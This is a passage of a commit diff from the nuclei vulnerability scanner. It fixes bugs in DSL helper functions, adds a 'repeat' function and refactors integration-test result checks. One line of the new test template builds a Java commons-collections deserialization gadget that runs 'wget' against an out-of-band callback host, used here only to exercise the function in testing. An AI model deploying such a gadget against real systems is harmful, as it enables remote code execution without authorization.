mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2025-12-18 13:45:28 +00:00
bug: fixed couple of bugs in the DSL functions (#1372)
* feat: Improve DSL function UX #1295 Sort the output signatures * feat: Improve DSL function UX #1295 Sort the output signatures. Lint: simplified the sorting. * bug: fixed couple of bugs in the DSL functions Input number parameters are stored as float64 types, hence the type conversion should happen accordingly. Affected functions: * rand_int * wait_for * unix_time * rand_text_numeric Added tests for all functions. Related: #1261 * bug: fixed couple of bugs in the DSL functions Handle cases when the optional input character set is an empty string. Affected methods: * rand_char * rand_base * bug: fixed couple of bugs in the DSL functions Change rand_char to return a one character string, instead of the character code * refactor: Minor integration test changes to show the actual and expected result numbers * test: Added integration test for all existing DSL functions * test: Added integration test for all existing DSL functions Fixing linter issues. * feat: Add "repeat" DSL function * test: Add "repeat" DSL function
This commit is contained in:
parent
974cbfb35e
commit
85e0b96d51
71
integration_tests/http/dsl-functions.yaml
Normal file
71
integration_tests/http/dsl-functions.yaml
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
id: helper-functions-examples
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: RAW Template with Helper Functions
|
||||||
|
author: pdteam
|
||||||
|
severity: info
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
GET / HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
01: {{base64("Hello")}}
|
||||||
|
02: {{base64(1234)}}
|
||||||
|
03: {{base64_decode("SGVsbG8=")}}
|
||||||
|
04: {{base64_py("Hello")}}
|
||||||
|
05: {{contains("Hello", "lo")}}
|
||||||
|
06: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||||
|
07: {{gzip("Hello")}}
|
||||||
|
08: {{hex_decode("6161")}}
|
||||||
|
09: {{hex_encode("aa")}}
|
||||||
|
10: {{html_escape("<body>test</body>")}}
|
||||||
|
11: {{html_unescape("<body>test</body>")}}
|
||||||
|
12: {{len("Hello")}}
|
||||||
|
13: {{len(5555)}}
|
||||||
|
14: {{md5("Hello")}}
|
||||||
|
15: {{md5(1234)}}
|
||||||
|
16: {{mmh3("Hello")}}
|
||||||
|
17: {{print_debug(1+2, "Hello")}}
|
||||||
|
18: {{rand_base(5, "abc")}}
|
||||||
|
19: {{rand_base(5, "")}}
|
||||||
|
20: {{rand_base(5)}}
|
||||||
|
21: {{rand_char("abc")}}
|
||||||
|
22: {{rand_char("")}}
|
||||||
|
23: {{rand_char()}}
|
||||||
|
24: {{rand_int(1, 10)}}
|
||||||
|
25: {{rand_int(10)}}
|
||||||
|
26: {{rand_int()}}
|
||||||
|
27: {{rand_text_alpha(10, "abc")}}
|
||||||
|
28: {{rand_text_alpha(10, "")}}
|
||||||
|
29: {{rand_text_alpha(10)}}
|
||||||
|
30: {{rand_text_alphanumeric(10, "ab12")}}
|
||||||
|
31: {{rand_text_alphanumeric(10)}}
|
||||||
|
32: {{rand_text_numeric(10, 123)}}
|
||||||
|
33: {{rand_text_numeric(10)}}
|
||||||
|
34: {{regex("H([a-z]+)o", "Hello")}}
|
||||||
|
35: {{remove_bad_chars("abcd", "bc")}}
|
||||||
|
36: {{repeat("a", 5)}}
|
||||||
|
37: {{replace("Hello", "He", "Ha")}}
|
||||||
|
38: {{replace_regex("He123llo", "(\\d+)", "")}}
|
||||||
|
39: {{reverse("abc")}}
|
||||||
|
40: {{sha1("Hello")}}
|
||||||
|
41: {{sha256("Hello")}}
|
||||||
|
42: {{to_lower("HELLO")}}
|
||||||
|
43: {{to_upper("hello")}}
|
||||||
|
44: {{trim("aaaHelloddd", "ad")}}
|
||||||
|
45: {{trim_left("aaaHelloddd", "ad")}}
|
||||||
|
46: {{trim_prefix("aaHelloaa", "aa")}}
|
||||||
|
47: {{trim_right("aaaHelloddd", "ad")}}
|
||||||
|
48: {{trim_space(" Hello ")}}
|
||||||
|
49: {{trim_suffix("aaHelloaa", "aa")}}
|
||||||
|
50: {{unix_time(10)}}
|
||||||
|
51: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
|
||||||
|
52: {{url_encode("https://projectdiscovery.io/test?a=1")}}
|
||||||
|
53: {{wait_for(1)}}
|
||||||
|
|
||||||
|
extractors:
|
||||||
|
- type: regex
|
||||||
|
name: results
|
||||||
|
regex:
|
||||||
|
- '\d+: [^\s]+'
|
||||||
@ -21,8 +21,5 @@ func (h *dnsBasic) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
return expectResultsCount(results, 1)
|
||||||
return errIncorrectResultsCount(results)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -30,10 +30,8 @@ func (h *headlessBasic) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type headlessHeaderActions struct{}
|
type headlessHeaderActions struct{}
|
||||||
@ -54,10 +52,8 @@ func (h *headlessHeaderActions) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type headlessExtractValues struct{}
|
type headlessExtractValues struct{}
|
||||||
@ -74,8 +70,6 @@ func (h *headlessExtractValues) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 3 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 3)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -7,6 +7,9 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
|
"net/http/httputil"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/julienschmidt/httprouter"
|
"github.com/julienschmidt/httprouter"
|
||||||
@ -37,6 +40,7 @@ var httpTestcases = map[string]testutils.TestCase{
|
|||||||
"http/get.yaml,http/get-case-insensitive.yaml": &httpGetCaseInsensitiveCluster{},
|
"http/get.yaml,http/get-case-insensitive.yaml": &httpGetCaseInsensitiveCluster{},
|
||||||
"http/get-redirects-chain-headers.yaml": &httpGetRedirectsChainHeaders{},
|
"http/get-redirects-chain-headers.yaml": &httpGetRedirectsChainHeaders{},
|
||||||
"http/dsl-matcher-variable.yaml": &httpDSLVariable{},
|
"http/dsl-matcher-variable.yaml": &httpDSLVariable{},
|
||||||
|
"http/dsl-functions.yaml": &httpDSLFunctions{},
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpInteractshRequest struct{}
|
type httpInteractshRequest struct{}
|
||||||
@ -59,10 +63,8 @@ func (h *httpInteractshRequest) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpGetHeaders struct{}
|
type httpGetHeaders struct{}
|
||||||
@ -82,10 +84,8 @@ func (h *httpGetHeaders) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpGetQueryString struct{}
|
type httpGetQueryString struct{}
|
||||||
@ -105,10 +105,8 @@ func (h *httpGetQueryString) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpGetRedirects struct{}
|
type httpGetRedirects struct{}
|
||||||
@ -129,10 +127,8 @@ func (h *httpGetRedirects) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpGet struct{}
|
type httpGet struct{}
|
||||||
@ -150,10 +146,8 @@ func (h *httpGet) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpDSLVariable struct{}
|
type httpDSLVariable struct{}
|
||||||
@ -171,9 +165,60 @@ func (h *httpDSLVariable) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 5 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 5)
|
||||||
|
}
|
||||||
|
|
||||||
|
type httpDSLFunctions struct{}
|
||||||
|
|
||||||
|
func (h *httpDSLFunctions) Execute(filePath string) error {
|
||||||
|
router := httprouter.New()
|
||||||
|
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||||
|
request, err := httputil.DumpRequest(r, true)
|
||||||
|
if err != nil {
|
||||||
|
_, _ = fmt.Fprint(w, err.Error())
|
||||||
|
} else {
|
||||||
|
_, _ = fmt.Fprint(w, string(request))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
ts := httptest.NewServer(router)
|
||||||
|
defer ts.Close()
|
||||||
|
|
||||||
|
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-nc")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if err := expectResultsCount(results, 1); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
resultPattern := regexp.MustCompile(`\[[^]]+] \[[^]]+] \[[^]]+] [^]]+ \[([^]]+)]`)
|
||||||
|
submatch := resultPattern.FindStringSubmatch(results[0])
|
||||||
|
if len(submatch) != 2 {
|
||||||
|
return errors.New("could not parse the result")
|
||||||
|
}
|
||||||
|
|
||||||
|
totalExtracted := strings.Split(submatch[1], ",")
|
||||||
|
numberOfDslFunctions := 53
|
||||||
|
if len(totalExtracted) != numberOfDslFunctions {
|
||||||
|
return errors.New("incorrect number of results")
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, header := range totalExtracted {
|
||||||
|
parts := strings.Split(header, ": ")
|
||||||
|
index, err := strconv.Atoi(parts[0])
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if index < 0 || index > numberOfDslFunctions {
|
||||||
|
return fmt.Errorf("incorrect header index found: %d", index)
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(parts[1]) == "" {
|
||||||
|
return fmt.Errorf("the DSL expression with index %d was not evaluated correctly", index)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -203,10 +248,8 @@ func (h *httpPostBody) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpPostJSONBody struct{}
|
type httpPostJSONBody struct{}
|
||||||
@ -240,10 +283,8 @@ func (h *httpPostJSONBody) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpPostMultipartBody struct{}
|
type httpPostMultipartBody struct{}
|
||||||
@ -282,10 +323,8 @@ func (h *httpPostMultipartBody) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRawDynamicExtractor struct{}
|
type httpRawDynamicExtractor struct{}
|
||||||
@ -319,10 +358,8 @@ func (h *httpRawDynamicExtractor) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRawGetQuery struct{}
|
type httpRawGetQuery struct{}
|
||||||
@ -347,10 +384,8 @@ func (h *httpRawGetQuery) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRawGet struct{}
|
type httpRawGet struct{}
|
||||||
@ -373,10 +408,8 @@ func (h *httpRawGet) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRawPayload struct{}
|
type httpRawPayload struct{}
|
||||||
@ -408,10 +441,8 @@ func (h *httpRawPayload) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 2 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 2)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRawPostBody struct{}
|
type httpRawPostBody struct{}
|
||||||
@ -440,10 +471,8 @@ func (h *httpRawPostBody) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRawCookieReuse struct{}
|
type httpRawCookieReuse struct{}
|
||||||
@ -487,10 +516,8 @@ func (h *httpRawCookieReuse) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRawUnsafeRequest struct{}
|
type httpRawUnsafeRequest struct{}
|
||||||
@ -512,10 +539,8 @@ func (h *httpRawUnsafeRequest) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRequestCondition struct{}
|
type httpRequestCondition struct{}
|
||||||
@ -541,10 +566,8 @@ func (h *httpRequestCondition) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpRequestSelContained struct{}
|
type httpRequestSelContained struct{}
|
||||||
@ -573,10 +596,8 @@ func (h *httpRequestSelContained) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpGetCaseInsensitive struct{}
|
type httpGetCaseInsensitive struct{}
|
||||||
@ -594,10 +615,8 @@ func (h *httpGetCaseInsensitive) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpGetCaseInsensitiveCluster struct{}
|
type httpGetCaseInsensitiveCluster struct{}
|
||||||
@ -617,10 +636,8 @@ func (h *httpGetCaseInsensitiveCluster) Execute(filesPath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 2 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 2)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type httpGetRedirectsChainHeaders struct{}
|
type httpGetRedirectsChainHeaders struct{}
|
||||||
@ -645,8 +662,6 @@ func (h *httpGetRedirectsChainHeaders) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -74,8 +74,11 @@ func execute(testCase testutils.TestCase, templatePath string) (error, string) {
|
|||||||
return nil, ""
|
return nil, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
func errIncorrectResultsCount(results []string) error {
|
func expectResultsCount(results []string, expectedNumber int) error {
|
||||||
return fmt.Errorf("incorrect number of results \n\t%s", strings.Join(results, "\n\t"))
|
if len(results) != expectedNumber {
|
||||||
|
return fmt.Errorf("incorrect number of results: %d (actual) vs %d (expected) \nResults:\n\t%s\n", len(results), expectedNumber, strings.Join(results, "\n\t"))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func toSlice(value string) []string {
|
func toSlice(value string) []string {
|
||||||
|
|||||||
@ -49,10 +49,8 @@ func (h *remoteTemplateList) Execute(templateList string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 2 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 2)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type remoteWorkflowList struct{}
|
type remoteWorkflowList struct{}
|
||||||
@ -85,10 +83,8 @@ func (h *remoteWorkflowList) Execute(workflowList string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 3 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 3)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type nonExistentTemplateList struct{}
|
type nonExistentTemplateList struct{}
|
||||||
|
|||||||
@ -42,10 +42,8 @@ func (h *networkBasic) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type networkMultiStep struct{}
|
type networkMultiStep struct{}
|
||||||
@ -92,10 +90,8 @@ func (h *networkMultiStep) Execute(filePath string) error {
|
|||||||
} else {
|
} else {
|
||||||
expectedResultsSize = 1
|
expectedResultsSize = 1
|
||||||
}
|
}
|
||||||
if len(results) != expectedResultsSize {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, expectedResultsSize)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type networkRequestSelContained struct{}
|
type networkRequestSelContained struct{}
|
||||||
@ -117,8 +113,6 @@ func (h *networkRequestSelContained) Execute(filePath string) error {
|
|||||||
if routerErr != nil {
|
if routerErr != nil {
|
||||||
return routerErr
|
return routerErr
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -39,10 +39,8 @@ func (h *websocketBasic) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type websocketCswsh struct{}
|
type websocketCswsh struct{}
|
||||||
@ -62,10 +60,8 @@ func (h *websocketCswsh) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type websocketNoCswsh struct{}
|
type websocketNoCswsh struct{}
|
||||||
@ -85,10 +81,8 @@ func (h *websocketNoCswsh) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 0 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 0)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type websocketWithPath struct{}
|
type websocketWithPath struct{}
|
||||||
@ -108,8 +102,6 @@ func (h *websocketWithPath) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 0 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 0)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -32,10 +32,8 @@ func (h *workflowBasic) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 2 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 2)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type workflowConditionMatched struct{}
|
type workflowConditionMatched struct{}
|
||||||
@ -53,10 +51,8 @@ func (h *workflowConditionMatched) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type workflowConditionUnmatch struct{}
|
type workflowConditionUnmatch struct{}
|
||||||
@ -74,10 +70,8 @@ func (h *workflowConditionUnmatch) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 0 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 0)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type workflowMatcherName struct{}
|
type workflowMatcherName struct{}
|
||||||
@ -95,8 +89,6 @@ func (h *workflowMatcherName) Execute(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if len(results) != 1 {
|
|
||||||
return errIncorrectResultsCount(results)
|
return expectResultsCount(results, 1)
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -56,6 +56,13 @@ func init() {
|
|||||||
"to_lower": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
"to_lower": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
||||||
return strings.ToLower(types.ToString(args[0])), nil
|
return strings.ToLower(types.ToString(args[0])), nil
|
||||||
}),
|
}),
|
||||||
|
"repeat": makeDslFunction(2, func(args ...interface{}) (interface{}, error) {
|
||||||
|
count, err := strconv.Atoi(types.ToString(args[1]))
|
||||||
|
if err != nil {
|
||||||
|
return nil, invalidDslFunctionError
|
||||||
|
}
|
||||||
|
return strings.Repeat(types.ToString(args[0]), count), nil
|
||||||
|
}),
|
||||||
"replace": makeDslFunction(3, func(args ...interface{}) (interface{}, error) {
|
"replace": makeDslFunction(3, func(args ...interface{}) (interface{}, error) {
|
||||||
return strings.ReplaceAll(types.ToString(args[0]), types.ToString(args[1]), types.ToString(args[2])), nil
|
return strings.ReplaceAll(types.ToString(args[0]), types.ToString(args[1]), types.ToString(args[2])), nil
|
||||||
}),
|
}),
|
||||||
@ -174,10 +181,13 @@ func init() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if argSize >= 1 {
|
if argSize >= 1 {
|
||||||
charSet = types.ToString(args[0])
|
inputCharSet := types.ToString(args[0])
|
||||||
|
if strings.TrimSpace(inputCharSet) != "" {
|
||||||
|
charSet = inputCharSet
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return charSet[rand.Intn(len(charSet))], nil
|
return string(charSet[rand.Intn(len(charSet))]), nil
|
||||||
},
|
},
|
||||||
),
|
),
|
||||||
"rand_base": makeDslWithOptionalArgsFunction(
|
"rand_base": makeDslWithOptionalArgsFunction(
|
||||||
@ -194,7 +204,10 @@ func init() {
|
|||||||
length = int(args[0].(float64))
|
length = int(args[0].(float64))
|
||||||
|
|
||||||
if argSize == 2 {
|
if argSize == 2 {
|
||||||
charSet = types.ToString(args[1])
|
inputCharSet := types.ToString(args[1])
|
||||||
|
if strings.TrimSpace(inputCharSet) != "" {
|
||||||
|
charSet = inputCharSet
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return randSeq(charSet, length), nil
|
return randSeq(charSet, length), nil
|
||||||
},
|
},
|
||||||
@ -247,7 +260,7 @@ func init() {
|
|||||||
return nil, invalidDslFunctionError
|
return nil, invalidDslFunctionError
|
||||||
}
|
}
|
||||||
|
|
||||||
length := args[0].(int)
|
length := int(args[0].(float64))
|
||||||
badNumbers := ""
|
badNumbers := ""
|
||||||
|
|
||||||
if argSize == 2 {
|
if argSize == 2 {
|
||||||
@ -262,7 +275,7 @@ func init() {
|
|||||||
"(optionalMin, optionalMax uint) int",
|
"(optionalMin, optionalMax uint) int",
|
||||||
func(args ...interface{}) (interface{}, error) {
|
func(args ...interface{}) (interface{}, error) {
|
||||||
argSize := len(args)
|
argSize := len(args)
|
||||||
if argSize >= 2 {
|
if argSize > 2 {
|
||||||
return nil, invalidDslFunctionError
|
return nil, invalidDslFunctionError
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -270,10 +283,10 @@ func init() {
|
|||||||
max := math.MaxInt32
|
max := math.MaxInt32
|
||||||
|
|
||||||
if argSize >= 1 {
|
if argSize >= 1 {
|
||||||
min = args[0].(int)
|
min = int(args[0].(float64))
|
||||||
}
|
}
|
||||||
if argSize == 2 {
|
if argSize == 2 {
|
||||||
max = args[1].(int)
|
max = int(args[1].(float64))
|
||||||
}
|
}
|
||||||
return rand.Intn(max-min) + min, nil
|
return rand.Intn(max-min) + min, nil
|
||||||
},
|
},
|
||||||
@ -294,7 +307,7 @@ func init() {
|
|||||||
if argSize != 0 && argSize != 1 {
|
if argSize != 0 && argSize != 1 {
|
||||||
return nil, invalidDslFunctionError
|
return nil, invalidDslFunctionError
|
||||||
} else if argSize == 1 {
|
} else if argSize == 1 {
|
||||||
